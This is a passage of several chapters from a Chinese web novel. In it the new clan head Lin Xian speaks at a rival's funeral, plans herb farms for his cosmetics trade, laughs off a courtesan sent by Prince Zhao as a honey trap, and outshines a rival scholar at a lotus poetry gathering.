圣旨抵达林家三房,整个县城彻底沸腾了。
锣鼓喧天,鞭炮震耳欲聋。
周知县亲自率领全县士绅,浩浩荡荡前来道贺。就连府城李知府,也派人快马加鞭送来了丰厚的贺礼。
林闲家那小小的院落,瞬间门庭若市,前来巴结道贺攀交情的人络绎不绝,门槛几乎被踏破。
而与三房这边鲜花着锦的盛况形成对比的,是长房那边死一般的寂静。
病榻上的林富贵,原本在御状失败、儿子入狱后就已经油尽灯枯,全凭着一口对三房的嫉恨和不甘之气吊着性命。
当他听到管家的禀告后,林富贵喉咙里发出“嗬嗬”的怪响,如同破风箱在拉扯。
他枯瘦的手指颤抖指向门外三房的方向,似乎想质问老天为何如此不公,却一个字也吐不出来。
极度的愤怒、无法接受的现实、以及彻底绝望带来的巨大冲击,让他浑身剧烈抽搐,猛地一张口——
“噗!”
一口浓黑粘稠的淤血喷出,他脑袋一歪,竟是就此断了气!
林富贵,这位曾经在林家说一不二的族长,就这样活活被皇帝嘉奖林闲的圣旨,给气**。
他的死为长房曾经的辉煌与跋扈,画上了一个狼狈的**。
按照族规,族长去世丧事需由全族共同操办。尤其新任族长更需亲自主持大局,以示对前人的尊重与族内的团结延续。
这对刚刚凭借圣旨威望和族人推举接任族长的林闲而言,无疑是一次极其微妙的考验。
既不能显得对长房刻薄寡恩,以免落下话柄,授人以“得势便猖狂”的口实;又要借此机会,巧妙化解旧怨,树立威信,彻底扭转族内风气,将全族力量凝聚到新的方向上。
林富贵生前虽多有不是,甚至勾结外匪。但毕竟是前任族长,葬礼的基本体面仍需维持。
林闲深思后下令,以族中公帑按规矩厚葬。但一应开销需由他亲自过目审批,原则是“不失礼,不奢靡,不浪费”。
此举既堵住了悠悠之口,也赢得了那些讲究礼法、担心新族长挟怨报复的老辈族人的暗自点头。
出殡当日,天色阴沉,仿佛为这场充满矛盾的葬礼增添几分凝重。
林氏宗祠前,族人齐聚。
气氛肃穆中,却透着一丝难以言喻的诡异。
不少人的目光,更多是落在主持仪式、一身素服的新族长林闲身上。
仪式按部就班进行。
繁琐的礼节过后,到了亲友致哀、诵读祭文的环节。
这本该由族中德高望重的长者,或者林富贵的嫡子林耀祖(可惜尚在牢中吃牢饭)来完成。
然而族老们面面相觑,这祭文怎么写?**?违心!痛斥其非?不合时宜!场面一时陷入了尴尬的沉默。
就在这微妙的时刻,林闲缓步走到了灵前。
他一身素服,神色庄重肃穆,却并无多少悲戚之色。
他先是对着林富贵的棺椁微一躬身,行了基本的礼节,然后抬起头目光平静扫过在场每一位族人。
他没有拿陈词滥调的祭文纸稿,只是清了清嗓子,用沉稳清晰、足以让每个人都听到的声音,即兴开口:
“诸位宗亲,今日我们在此,送别前族长,林富贵。”
开场白平淡无奇,却瞬间吸引了所有人的注意力,整个祠堂鸦雀无声。
“富贵族长,执掌我林氏二十余载……”
林闲语气平和,如同叙述一段客观历史。
“其间族中田产有所扩充,铺面略有增加,门楣也曾因科举小有成就而光耀。这些是长房带领之下,全族共同努力的结果。此功,不可没。”
他坦然承认了长房曾经的贡献,这让一些原本忐忑的长房旧部和念旧的族人心中稍安,觉得新族长还算大气。
但就在众人以为他会就此含糊带过时,林闲话锋不着痕迹一转,语气依旧平稳,但内容却字字千钧:
“然,其晚年固步自封任人唯亲,致族中怨声载道,子弟离心离德。更因一
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己私欲,罔顾族人生死勾结外匪,险些酿成灭顶之灾。此过,亦难辞其咎!”
这话如同重锤,狠狠敲在每个人心上!
尤其是那些曾深受长房打压、或对林富贵最后疯狂行为心有余悸的族人,更是感同身受。
他们纷纷暗自点头,觉得新族长说出了他们的心里话。
“功过是非,千秋功罪,盖棺,方可论定。”
林闲用一句话为林富贵做了总结,干脆利落。
随即他目光如炬,看向台下所有族人,声音陡然提高开始展望未来:
“前人之功,我辈当记取,以为激励!前人之过,我辈更当引以为戒,永世不忘!富贵族长这一生恰如一面镜子,照见了家族盛衰起伏的根由所在——族内团结,则百业可兴。内部争斗,则必然衰败。处事为公,则家族强大。一心谋私,则终将灭亡!”
这番话让人无法反驳,更发人深省。
随即林闲的目光变得坚定,语气中带着一种开创未来的决绝:
“逝者已矣,生者如斯。从今日起我林氏一族,当时时铭记此训。过去的恩怨怨怨是是非非,就在今日此刻就此一笔勾销,彻底翻篇!”
他斩钉截铁挥了一下手号召:“无论长房三房,还是各支各脉,在场的每一位,身上流淌的,都是林氏先祖的血脉。一荣俱荣,一损俱损!”
他再次向前踏出一步,郑重宣誓道:“我林闲既承蒙各位宗亲信任接任族长之位,在此对天地祖宗立誓。必以公平二字治族,赏罚分明绝不偏私。以务实二字兴家,发展产业壮大基业。以助学二字培元,鼓励子弟读书明理厚植根基。以团结二字聚力,凝聚全族之心共谋未来之福。”
林闲见众人气氛被调度起来,这才开启了“忽悠”大招:“只要咱们心往一处想,劲往一处使。我林闲敢保证用不了几年,咱们林家这艘船必能乘风破浪,驶向那片更广阔更富饶的天地。到时候大块吃肉大碗喝酒,让子孙后代都以姓林为荣!”
“同舟共济!乘风破浪!”
几个早就被林闲折服的年轻子弟,热血沸腾,忍不住振臂高呼!
“跟着新族长!乘风破浪!”
越来越多的人被这充满激情和希望的蓝图感染,声音汇聚成强大的声浪,冲散了葬礼最后的阴霾,每个人都眼中闪烁着对未来的憧憬!
一场原本可能充满隔阂、尴尬甚至潜在冲突的葬礼,被林闲以高超的手腕,巧妙转化成了一次凝聚人心、告别过去、开创未来的誓师大会!
他既给了前人应有的体面,又毫不留情地划清了旧时代的界限,更用真诚、智慧、和一点点恰到好处的“林闲式”幽默与霸气,将全族的人心牢牢凝聚在了一起。
葬礼结束后,族人散去。
三三两两议论的,早已不是林富贵的生前身后事,而是新族长描绘的那幅“乘风破浪”的壮丽蓝图。
林闲独自站在祠堂前,看着族人眼中焕发出的希望光芒,知道林家,终于彻底告别了内耗与阴霾,真正迎来了一个属于所有人的、全新的时代。
而他林闲,正是当之无愧的掌舵人。
第六十二章美人如刀,该如何拒撩?
林闲科举的横空出世,激起的浪涛远超想象。
尤其是他那“一等秀才”的殊荣和疑似在皇帝面前“挂上号”的消息,更是迅速传回波谲云诡的京城,精准落入了某些有心人的耳中。
赵王府,书房内。
熏香袅袅,却驱不散那股压抑的阴沉。
赵王听着心腹谋士的汇报,那张颇具威仪的脸上阴云密布。
“废物!都是废物!”
终于,赵王的怒火爆发!
他将手中的玉佩狠狠拍在紫檀木书案上,发出沉闷的响声后吼道:“林富贵那个老蠢货是废物!本王花了那么多心思扶持他,结果连个泥腿子出身的秀才都摁不死!还有影刹,平日里吹得天花乱坠,说什么江南第一魅剑,结果呢?连林闲的一根汗**都没伤到,反倒败走撤回,真是奇耻大辱!”
谋士低着头,大气不敢出。
待赵王喘息稍定,才小心上前低声道:“王爷息怒,保重身体要紧。此事虽未尽全功,但也并非全无收获。”
收获?
赵王冷哼一声,斜睨着谋士:“本王折了暗桩,长了他人志气,你管这叫收获?”
谋士连忙道:“王爷明鉴。据我们安插在江南的暗线回报,那林闲虽与太子系的苏大家往来密切,那苏元似乎也对他青眼有加,但此子行事颇有几分……特立独行。”
看赵王有些兴趣,他连忙继续道:“他看似与太子系合作却并未完全依附,其麾下产业太子的人也难以插手核心。此人似乎极重实利,更看重自身的发展。太子那边,似乎也未能真正将其掌控在手心,更多是合作与拉拢的关系。”
赵王闻言,暴躁的情绪稍稍平复。
他眼中闪过一丝老辣,手指重新开始敲击桌面:“你的意思是……这林闲,并非铁板一块地倒向了东宫?或许有隙可乘?”
“王爷圣明!”
谋士适时送上一记马屁:“正是此理!此人重利,有奇技淫巧之能,如今又简在帝心风头正劲。若能将其拉拢至王爷麾下,无异于斩断太子一臂,更添一强大助力!即便不能完全拉拢,只要让他保持中立,那便是极大的成功!”
赵王沉吟起来,书房内只剩下手指敲击桌面的“笃笃”声。
片刻后他眼中厉色一闪,嘴角勾起冰冷的的弧度:“硬的看来是不行了,这小子有点邪门。既然强硬派不行,那就来软的!”
他顿了顿,居高临下道:“听说他至今未曾续弦?可见此人要么是痴情种子,要么就是……眼界未开!”
他冷笑一声道:“传令下去,从我们王府暗中培养的势力中,物色一位绝色女子。才貌双全只是基础,必须要精通音律诗画,最好还对调香制脂有所了解,能跟他的闲雅套装接上话!身世要安排得清白可怜惹人爱怜,最关键要有魅惑能力!半天后,本王要亲自面试!”
“遵令!”
谋士立刻心领神会,脸上露出谄媚的笑:“王爷高明!这简直是定制版美人计!英雄难过美人关,何况是这种才情相貌俱佳、志趣又如此相投的绝色佳人?只要安排一场恰到好处的邂逅,还怕他林闲不坠入这温柔乡?”
赵王满意点点头,望向窗外繁华却冰冷的京城景象,眼神深邃而危险:“林闲啊林闲,本王倒要看看你这一等秀才,是真好汉还是假清高。这杯加了料的温柔乡你是喝,还是泼?但愿你不要不识抬举,逼得本王再出罚酒!”
半天后,赵王府密室。
“殿下,人来了!”
谋士恭敬道,随后悄然退下。
书房内侧的珠帘微动,一道窈窕身影出现在雕花屏风之后。
虽隔着朦胧的绢素屏风,仍能隐约勾勒出那惊心动魄的曲线。
此女肩若削成,腰如约素延颈秀项,皓质呈露。
仅静立在那便有一股风流韵致弥漫开,书房内立刻变得旖旎了几分。
一个带着几分吴侬软语腔调、酥媚入骨的女声隔着屏风轻轻响起。
每一个字都像带着小钩子,挠人心扉:
“奴婢拜见王爷!王爷的目标,可是那位名动江南的一等秀才林公子?奴家最近,可是没少听姐妹们谈起他的才名呢……”
这声音无比魅惑,连见惯风月的赵王,端着茶杯的手也微微一顿。
他目光扫过那抹动人倩影,眼中闪过一丝极快的炙热,但旋即被更深的算计压下。
赵王深吸一口气,压下心头泛起的一丝涟漪。
他语气恢
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复了平日威严,却也不自觉带上了两分缓和:
“哦?柳大家也听过此人?”
赵王心中暗忖,此女不愧是江南教坊司精心培养出来的魁首。
一颦一笑,一言一语皆具风情,竟连他这般定力,方才都有一瞬的心旌摇曳。他收敛心神淡淡道:“既如此,那本王这番安排倒真是找对人了。此子……颇有些与众不同,寻常手段恐怕难入其眼。”
屏风后的倩影娇嗔一声,愈发柔媚:“王爷放心,奴家省得。这世上男子,但凡有些才情的多半自诩清高,不屑寻常脂粉。却不知……越是这样的才子,越是盼着能有一位真正懂得他琴心剑胆的知音红颜。”
她嫣然一笑自荐:“更何况,是奴家这样的知音呢?”
赵王闻言眼中精光一闪,嘴角终于露出一丝真正的笑意:“好!要的就是你这份自信!你若能替本王办好这件差事,将来……本王许你的,可不止是脱籍从良那么简单。”
“那奴家……就先谢过王爷恩典了。”
屏风后的柳如丝盈盈一礼,身影摇曳如风中扶柳。
随即隐入内室珠帘之后,只留下一缕若有若无的幽香,和赵王眼中一丝难以言喻的复杂神色——既有对计划成功的期待,也有一丝连他自己都不愿承认的、对这枚绝妙棋子的占有欲……
与此同时。
江南林家,崭新的族长书房内。
林闲正站在一幅巨大的舆图前,手指在上面缓缓移动,规划着家族产业扩张的蓝图。
窗外阳光明媚,与赵王府的阴冷形成鲜明对比。
突然。
“阿嚏!”
林闲揉了揉鼻子嘀咕道:“奇了怪了,大晴天的谁在背后念叨我?难道是赵王那个老登,又在琢磨什么损招?”
历经了林富贵的阴谋、影刹的刺杀、科场的毒计,如今的林闲早已不是那个被人摆布的懵懂老童生。
他轻笑一声,目光重新回到舆图上笑道:“管他什么阴谋阳谋,什么美人画皮,尽管放马过来。老子的胃口,可不是几盘点心就能打发的。想给我下套?先掂量掂量自己的牙口够不够硬吧!”
他甚至有点期待,想看看对方这次,又能玩出什么新花样……
第六十三章将计就计:“反间”布局
林闲归来热闹过后,很快再次开启新的谋划。
皇帝赏赐的三百亩良田,不仅是财富的象征,更是他实现“日化帝国”蓝图的战略资源!他林闲,终于有了可以随意折腾的“自留地”了!
他没有丝毫犹豫,更没像寻常地主那样,只想着把田地租给佃户,当个坐享其成的收租公。
第二天一早,他就带着一脸懵懂的林承宗和几位新选**的管事,亲自下地搞勘察去了。
一行人骑着骡子跋涉了半日,将三百亩地的角角落落摸了个遍。
林闲时不时蹲下抓起一把土捻一捻,看看墒情,又观察日照和风向。
那专业范儿,看得老农出身的管事都暗自咋舌:这新族长,咋比俺们还像种地的?
勘察完毕后林闲站在一处高坡上,大手一挥开始指点江山:
“承宗,各位管事,都看清楚了。”
他指着山下那片百亩水田布置工作:“这一百亩,地势平坦水源充足,是上好的水田。继续种高产稻米,这是咱们林家的粮袋子,根基不能动。但是——”
他话锋一转,开始了神操作:“不能光种稻子,太浪费地力了。今年开始试验‘稻-肥’轮作,冬天种上紫云英当绿肥翻到地里,明年稻子长得更好!这叫用地养地,可持续发展!”
“可持续……发展?”
林承宗和管事们面面相觑,这词儿新鲜,但意思好像挺明白。
“没错!”
林闲点点头,然后目光灼灼地投向那另外两百亩靠近山脚、土质偏沙的田。
他脸上露出看到黄金的笑容继续安排道:“这两百亩在别人眼里可能是鸡肋,但在本族长眼里,这是咱们‘闲雅阁’未来腾飞的黄金宝地!是下金蛋的母鸡!”
宝地?
一个管事忍不住嘀咕:“族长,这地偏沙存不住水,种庄稼收成可不咋样啊……”
“种庄稼?”
林闲哈哈一笑。
他用看外行的眼神瞥了那管事一眼解释:“格局打开!谁跟你说这么好的地要用来种玉米红薯的?那是大材小用!咱们要种的,是比粮食更金贵的东西——防晒霜用草药!”
“草药?”
众人更懵了。
“对!”
林闲开启激情澎湃的演讲:“咱们的闲雅阁防晒霜、修复露为啥这么火?效果好!为啥效果好?核心就是里面的草药成分,以前咱们得满山遍野去收,价格高不说品质还不稳定。现在好了,咱们自种,实现原料自由。”
他掰着手指头,如数家珍:
“黄芩,清热燥湿,防晒抗炎的主力军,就得在这沙壤地里种,排水好,它才长得欢实!”
“甘草,修复界的扛把子,甜滋滋的,种下去就是摇钱树!”
“金银花,清热解毒,晒后修复水就靠它,开花的时候还能搞旅游收门票!(众人:???)”
“绿茶划出二十亩,搞个闲雅**茶园,专采嫩芽提取茶多酚,那才是抗氧化抗衰老的核心科技!”
这一连串专业名词和生动比喻,把林承宗和管事们砸得晕头转向,但又觉得莫名厉害。
林闲越说越起劲,直接捡起一根树枝,在地上画起了规划图:“看好了!这两百亩,就是咱们闲雅阁一号高科技草药示范基地!划分为黄芩种植区、甘草特区、金银花观光区、绿茶园……每个区实行精细化管理!要用咱们作坊里的严谨套路来种地!”
他对着一位老药农出身的管事说:“老王,你负责技术,要记录每种草药的生长数据,日照多少浇水多少、什么时候采收药效最好,都要给我形成……就是形成标准操作流程!咱们要科学种田,数据驱动!”
他又看向林承宗:“承宗,你负责协调人力,招募可靠的人手,工钱给足但要签保密协议……就是得保证不能把咱们的种植技术泄露出去!这可是商业机密!”
最后,林闲总结道:“总之,咱们的目标就是用最科学的方法,种出最好、
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最稳定的草药原料。将来咱们的防晒霜,不仅效果顶级,还要从源头上就碾压一切竞争对手。这就叫——掌控核心供应链,躺着也能把钱挣!”
“族长高见!”
虽然很多词听不懂,但“躺着挣钱”谁不爱?管事们纷纷拍马屁,干劲十足。
很快,示范基地热火朝天地搞了起来。
林闲时不时就来视察,看到长势良好的黄芩苗,他会满意点头:“嗯,长势不错,看来咱们的‘堆肥黑科技’有效果。”
看到老农在间苗,他会过去指导:“哎,这个间距不对,太密了,影响通风采光,要讲究科学密度,就跟人住房子一样,太挤了不舒服!”
他还搞了个“优秀农户”评比,给种得好的农户奖励香皂和花露水,美其名曰“员工福利”。这把那些农户乐得合不拢嘴,干活更卖力了。
与此同时,城里的香皂和香薰作坊也再次扩产。
林闲引入了更精细的分工,尝试了玻璃瓶、陶瓷罐等更精美的包装,推出了“闲雅阁·珍藏版”(死贵,限量)和“闲雅阁·普惠装”(便宜,量大)两种规格,精准收割不同消费群体。
他还搞了个“以旧换新”活动,拿空香水瓶来可以优惠换购新品,促进了回收又拉动了消费,把现代营销套路玩得飞起。
林家的财富如同滚雪球般增长,族人们跟着沾光,个个扬眉吐气。
以前觉得新族长搞的是“奇技淫巧”的人,现在看到真金白银,也彻底闭上了嘴。
偶尔有外地的商贾想来打探“闲雅阁”成功的秘诀,看到那成片的草药示范基地和井然有序的作坊都目瞪口呆,纷纷摇头叹息:“这林家一等秀才,种个地都搞得跟行军布阵似的,这还怎么跟他玩?”
而林闲看着初具规模的产业蓝图,心中豪情万丈:“这才哪到哪?等老子的草药基地成了气候,产业链完整了,到时候推出的新品,吓死你们!”
第六十四章琴瑟和鸣,反客为主
产业扩张初具规模,各项事务步入正轨,林闲难得有了一丝闲暇。
这日他在县城与几位新结识、颇有实力的商贾洽谈香皂分销合作事宜。
双方相谈甚欢,便在城中最为奢华气派的“醉仙楼”设宴款待,以示诚意。
雅间内觥筹交错,宾主尽欢。
林闲虽酒量尚可,但连日操劳加上合作顺利带来的心情舒畅,不免多饮了几杯陈年花雕。
待到宴席尾声,林闲已是面泛红潮,有了七八分醉意,眼神略显迷离。
几位精明的商贾见状,识趣地陆续起身告辞。林闲让随行的仆从先去备车,自己则留在雅间,靠在临窗的酸枝木太师椅上,打算吹吹风,醒醒酒。
他独自望着楼下熙熙攘攘、灯火初上的街市,微醺中带着一丝事业有成的惬意,也有一丝不易察觉的疲惫。
就在这心神放松的片刻,雅间的雕花木门被极轻地“吱呀”一声推开,一道倩影袅袅娜娜地闪了进来,又悄无声息地将门掩上。
来人是一位绝色女子。
她身着一袭淡紫色的烟罗纱裙,裙摆绣着暗纹蝶恋花,行走间如弱柳扶风,勾勒出惊心动魄的窈窕曲线。
此女容颜之美堪称绝色,眉不描而黛,唇不点而朱,一双桃花眼似醉非醉。
她眼波流转间,既有清雅脱俗之气又暗含着蚀骨销魂的媚态,矛盾而致命。
她手中端着一盏青瓷小碗,碗中汤水清澈,散发着淡淡的葛根香气。
她走到近前,声音柔糯得仿佛能融化骨头,带着恰到好处的关切:“听闻林先生在此宴客,多饮了几杯。小女子特备了盏家传的醒酒汤,最能解酒护肝,聊表仰慕之心,还望先生莫要推辞。”
林闲醉眼朦胧间,见如此绝色佳人近在咫尺,不由得心神一荡。
这女子之美,远超他前世在屏幕上见过的任何明星网红,带着这个时代独有的、浑然天成的风韵。
她走近时一股清雅馥郁、不同于任何人工香水的兰麝幽香扑面而来,丝丝缕缕,直往鼻子里钻,勾人心魄。
她将汤碗轻轻放在林闲面前的桌上,玉指在放下碗瞬间似有意似无意拂过林闲手背。
那一触如同电流掠过,带来一阵微凉而酥麻的触感。
“先生似是醉了,让小女子服侍您用汤吧。”
她微微俯身,吐气如兰间眼波的媚几乎要溢出来。
每一个动作、每一句言语,都充满了精心算计的诱惑。
酒意上涌,美色当前,幽香袭人!
三重攻势之下,林闲只觉得心跳骤然加速血液奔流,一股最原始的男人冲动几乎要冲破理智的堤坝。
他喉结滚动,下意识想狠狠抓住那近在咫尺的玉手。
就在他的指尖即将触碰到那抹冰凉滑腻的瞬间——
脑海中,如同电影蒙太奇般,蓦然闪过一双清澈含笑、带着聪慧与温柔的眼眸!
那是苏元在听雪小筑,听他弹唱那首《临江仙》时,专注而带着欣赏的目光;闪过她毫不犹豫递来“苏”字令牌时的全然信任。
闪过她收到第一批香薰样品时,那惊喜又略带娇嗔的“林先生,此物甚妙”。
更闪过月下分别时她立于船头,那句轻柔却分量千钧的“前路漫漫,林君珍重”……
如同三伏天被一桶掺杂了冰块的冷水从头顶狠狠浇下!
林闲瞬间一个激灵,醉意被驱散了大半,一股强烈的警觉感席卷全身!
不对!
太巧了!
这女子出现得时机、方式,都太过刻意。这身姿、这香气、这勾魂摄魄的手段,绝非良家女子,更非寻常风尘。
这是一个精心布置的陷阱!
他伸出的手,硬生生在距离那玉手仅一寸之遥处停住!
随即手腕极其自然地一转方向,落在了那碗醒酒汤上,端起来,送到自己唇边,仰头喝了一大口。借着这个动作,他顺势向后靠了靠,与女子拉开了半尺距离,语气恢复了平静,甚至还带着一丝刚醒酒般的沙哑,但其中的疏离感清晰可辨:“多谢姑娘好意。汤,林某自己来就好,不敢劳烦姑娘玉手。”
神秘女子眼中闪过一丝极快、几乎无法捕捉的错愕。她对自己的魅力极有信心,尤其是在男子酒醉、防备最低之时,更是无往不利。
这林闲竟能在最后关头刹住车?
但她毕竟是不输于苏元的花魁,立刻恢复如常。
但见女子嫣然一笑,那笑容更是倾国倾城,风情万种:“先生何必如此见外?小女子柳如丝,素来仰慕先生才华,尤其是先生那‘格物致用’的见解,令人茅塞顿开。今日机缘巧合得见真颜,实乃三生有幸。”
说罢柳如丝再次莲步轻移,宛若风中柔荑,悄无声息靠得更近了些。
两人之间原本微妙的距离被打破,近得几乎能感受到彼此呼吸交缠的热度,空气中弥漫的兰麝幽香也愈发浓郁醉人。
她微微仰起那张倾国倾城的脸,一双桃花眼水光潋滟,眼尾微微上挑带着浑然天成的媚意。
柳如丝见林闲有一丝呆滞,心中一喜将声音压得更低,每个字都带着温热的气息,带着蛊惑魔力:
“长夜漫漫,先生独自在此醒酒,岂不寂寞?”
她刻意在“寂寞”二字上拖长了尾音,语调仿佛带着钩子。
说话间她眸光仿佛浸透了春水,又似有星子碎落在其中,欲语还休直勾勾望着林闲,仿佛要将他整个人吸进去。
那眼神里有崇拜、有邀请,更有一种毫不掩饰的、直白的渴望。
她纤长卷翘的睫毛轻轻颤动,继续柔声撩道:“若先生不嫌弃如丝鄙陋,可否……容小女子为您抚琴一曲?”
柳如丝一边说那纤指一边轻轻抬起,似有意似无意虚指窗外朦胧的月色,动作优雅至极,也诱惑至极。
“家传的《清心普善咒》,最是能宁心静气,解乏安神……尤其在这更深露重之时,有知音相伴,丝竹入耳,或许……别有一番意境呢?”
她相信没有哪个男人能在这样的眼神、这样的香气、这样的软语哀求下,还能保持铁石心肠。
攻势更加直接露骨了!这已近乎是明示。
林闲心中冷笑连连:“柳如丝?名字倒是风雅,可惜是赵王派来的刀子。”
他面上却不动声色,甚至借着残留的酒意,露出一个略带痞气的笑。目光大胆地在她脸上扫过,语气带着几分玩世不恭:
“柳姑娘
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?人如其名,如丝般柔媚动人。”
他先是一记直球“赞美”,让柳如丝心中一喜,以为他防线松动。
但紧接着林闲话锋猛地一转,叹道:“姑娘美意,林某心领神往。只可惜啊……
他故意拉长语调,摇了摇头,一本正经地胡说八道:
“一来家中已有相好的候着,回去晚了,怕是得跪搓衣板。二来嘛林某乃一介俗人满身铜臭,平日里打交道不是算盘就是账本,欣赏水平仅限于韭菜鸡蛋馅饺子香不香,闲雅套装卖得好不好。姑娘这阳春白雪的雅乐,好比是对着老牛弹凤求凰,牛听不懂琴也受罪,徒增尴尬罢了!”
他这番自贬+调侃+爆梗的组合拳打出,效果拔群!
柳如丝脸上的完美笑容彻底僵住了,桃花眼里满是难以置信!
她预想过各种反应——义正词严的拒绝、半推半就的接受、甚至是急不可耐的扑上来……却唯独没料到,对方会用这种插科打诨、自黑幽默的方式,把她的邀请化解于无形。
既明确表达了拒绝,又丝毫不伤颜面,甚至还……有点好笑?
她看着林闲虽然面色依旧泛红,但那双深邃的眼眸里,哪还有半分迷醉?
分明是洞悉一切的清明和一丝……戏谑?
此人竟能在美色诱惑下,不仅保持清醒,还能反客为主,用这种方式“调戏”回来?!
一股前所未有的感觉涌上柳如丝心头。她见过太多男人在她面前或道貌岸然、或丑态毕露,却从未见过如此……有趣、如此不按常理出牌的男人。
不仅才华出众,心志坚韧,连应对这种场面都如此别具一格!
她心中那份奉命而来的任务心态,悄然发生了变化,生出了一丝真实的钦佩和……连她自己都不愿承认的、被这种独特魅力所吸引的悸动。
任务失败带来的沮丧,竟被一种奇异的兴奋感所取代。
柳如丝不再纠缠,她深深看了林闲一眼,那眼神复杂难明,有挫败,有欣赏,或许还有一丝萌芽的好感。
她盈盈一礼,语气中竟少了几分矫揉,多了几分真诚:“先生真乃……妙人。是如丝唐突了。告辞。”说罢,不再留恋,转身离去,紫色裙裾飘香,背影竟有几分落荒而逃的意味。
看着她消失在门口,林闲长长舒了一口气,后背惊出一层冷汗。
“好险!这赵王的美人计,段位真高!差点就着了道!幸好哥们儿心里有人,立场坚定!”
他暗自庆幸,同时对苏元的思念更浓了几分。
而回到隐秘住处的柳如丝,挥退侍女,独自对镜沉思。
回想方才林闲那番“对着老牛弹琴”的论调,她非但没有生气反而忍不住“噗嗤”一声笑了出来。随即笑容收敛,化作一抹玩味和探究。
“林闲……你究竟是个怎样的男人?”
她抚摸着镜中自己绝美的容颜,第一次对任务目标产生了超出任务之外的好奇心。
“赵王想用我来控制你?怕是……要弄巧成拙了。”
芳心深处某种异样的情愫,如同投入静湖的石子,漾开了圈圈涟漪。
这后续的发展,恐怕是精心策划此计的赵王,无论如何也预料不到的……
第六十五章 省城荷会:打脸官二代
收了柳如丝后又过了两天,时间来到七月。
此刻江南暑热正盛,恰是“映日荷花别样红”的时节。
火热的省城,突然传来一则消息:学政周大人为激励本届参加秋闱的学子,特地在省城著名的“莲湖别苑”举办一场规模盛大的赏荷雅集,广邀辖内各府县有名望有潜力的秀才参加,意在以文会友激扬文思。
已是一等秀才、享举人待遇的林闲,自然在受邀之列。
当天莲湖别苑内红蕖映日,清风拂过湖面带来阵阵荷香,驱散了几分暑气。
苑中名士云集才子如鲫,个个锦衣华服,羽扇纶巾。
或三五成群高谈阔论,或临水独立构思佳句,端的是文采风流盛况空前。
林闲的到来,不出意外引发一阵不小的骚动。
一等秀才的殊荣、府试院试双案首的辉煌,以及那些关于他“不务正业”但点石成金的传闻,都让他成为了全场的焦点。
不少熟悉的士子主动上前见礼,眼神中充满了羡慕乃至一丝嫉妒。
周学政见到林闲更是格外亲切,抛开众人亲自迎上,执着他的手笑容满面引他到上首位置落座,态度之殷切令在场许多人暗自心惊。
正当宾主尽欢,气氛融洽之际。
一个略显尖锐的声音突兀响起,打破了这份和谐:“哟!我当是谁有这么大面子,劳动周学政亲自相迎?原来是我们江陵府的林大案首!久仰大名,如雷贯耳啊!”
这声音阴阳怪气,充满了毫不掩饰的挑衅。
众人循声望去,只见一位身着湖蓝长袍腰缠玉带的傲气公子,摇在一群跟班的簇拥下摇扇走了过来。
此男不是别人,正是曾在画舫被林闲怼跑,又在小筑门口被林闲用变声计吓跑的赵公子!
其父乃是本省三品按察使赵宪,执掌一省刑名权势熏天,等闲无人敢惹。
赵公子走到近前,皮笑肉不笑朝周学政拱了拱手,随后朝林闲暗讽:“林案首,画舫一别可是风采更胜往昔。听说你如今不仅是案首,还蒙陛下天恩亲赐了一等秀才秩比举人!啧啧,真是可喜可贺,羡煞我等庸碌之辈了!”
他特意拔高了音量,将“一等秀才”几个字咬得极重,显然对上次吃瘪之事耿耿于怀,今日是存心来找回场子的。
林闲心中雪亮,来者不善,善者不来。
他面色不变从容道:“赵公子谬赞,林某愧不敢当。多日不见,公子亦是……嗯,风采依旧,中气十足。”
他这“中气十足”的评价略带调侃,暗指对方嗓门大,引得周围几人忍俊不禁。
赵公子碰了个软钉子,脸上有些挂不住。
他冷哼一声,折扇“啪”地一合,环视四周,故意将声音提得更高,几乎全场可闻:“林案首何必过谦?您的才学,那可是连家父都曾当众称赞,说您见解独特,每每出人意料呢!”
他这话看似捧杀,实则将林闲架在火上烤。
赵公子顿了顿,目光转向满湖荷花,图穷匕见:“今日周学政设此雅集,以荷为题以文会友。想必以林案首之才,必是成竹在胸,早有惊世之作吧?不如就让我等俗人先睹为快?也好让我等好好学习学习,什么叫一等秀才的水平和……独特见解!”
他再次强调“一等秀才”,挑衅意味已是赤裸裸,就是要逼林闲当场作诗。
若作得好他或许还有后招奚落,若作得普通或不佳,他便可趁机大肆嘲讽,狠狠打击林闲树立起的威信。
周围顿时安静下来,所有人的目光都聚焦在林闲身上。
周学政微微蹙眉,对赵公子的咄咄逼人颇为不满。
但碍于其父的权势,不便直接出声呵斥,只能略带担忧看向林闲。
众目睽睽之下,却见林闲不慌不忙,甚至嘴角还噙着一丝讥讽的笑。
他轻拂衣袖缓步踱到水边,目光扫过接天莲叶与映日荷花,语气轻松得像在谈论天气:“赵公子如此盛情,林某若是推辞倒显得矫情了。惊世之作不敢当,林某才疏学浅,只怕贻笑大方。”
他捻着摘下的莲蓬,略一沉吟笑道:“不过嘛,触景生情,方才看这荷花花瓣飘落,倒是偶得几句打油诗。虽登不得大雅之堂,倒也还算应景。今日献丑一番,还望勿怪。”
他这番谦逊带着自信的开场,已然将众人的好奇心吊了起来。连周学政也露出了感兴趣的神色。
只见林闲负手而立,目光悠远朗声吟道:“一片、两片、三四片,五片、六片、七八片。九片、十片、十一片……”
这前三句一出,如同孩童咿呀学数,甚至显得有些滑稽可笑。
赵公子和跟班们已经忍不住,脸上露出毫不掩饰的不屑,有人甚至发出低低的嗤笑。
周围不少士子也面面相觑,窃窃私语起来:
“这……这是什么诗?”
“数数?林案首这是……江郎才尽了?”
“莫非是故意藏拙?也不像啊……”
赵公子更是按捺不住,出声讥讽:“林案首,这诗还真是别开生面,通俗易懂啊!哈哈哈!”
面对众人的质疑和嘲笑,林闲恍若未闻。
就在所有人都以为这是一场闹剧时,他吟出了最后一句:“飞入水中都不见!”
最后七字一出,如画龙点睛又似平地惊雷!
意境陡变!
前面枯燥乏味的数字堆砌,瞬间被赋予了生命!
仿佛让人亲眼见到那粉嫩的花瓣,一片,两片,三四片……
从枝头悄然凋零,随风飘旋,最终悄无声息地“飞入水中”,融化在碧波里了无痕迹。
一幅生动、唯美又带着一丝禅意与物哀之情的画面跃然眼前。从极致的俗白到空灵的意境,转折之巧妙反差之巨大,令人拍案叫绝!
这就好比用最朴素的积木,搭建出了最精妙的殿堂,是一种“大巧若拙
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,重剑无锋”的至高境界。
整个莲湖别苑,出现了刹那的绝对寂静。
随即如烧开的滚水,轰然炸锅!
“妙不可言!”
周学政第一个击节赞叹,满脸的激动与欣赏:“看似白话数数,实则意境全出。由实入虚由动至静,化腐朽为神奇。林闲,真乃奇才也!”
“真是绝了!”
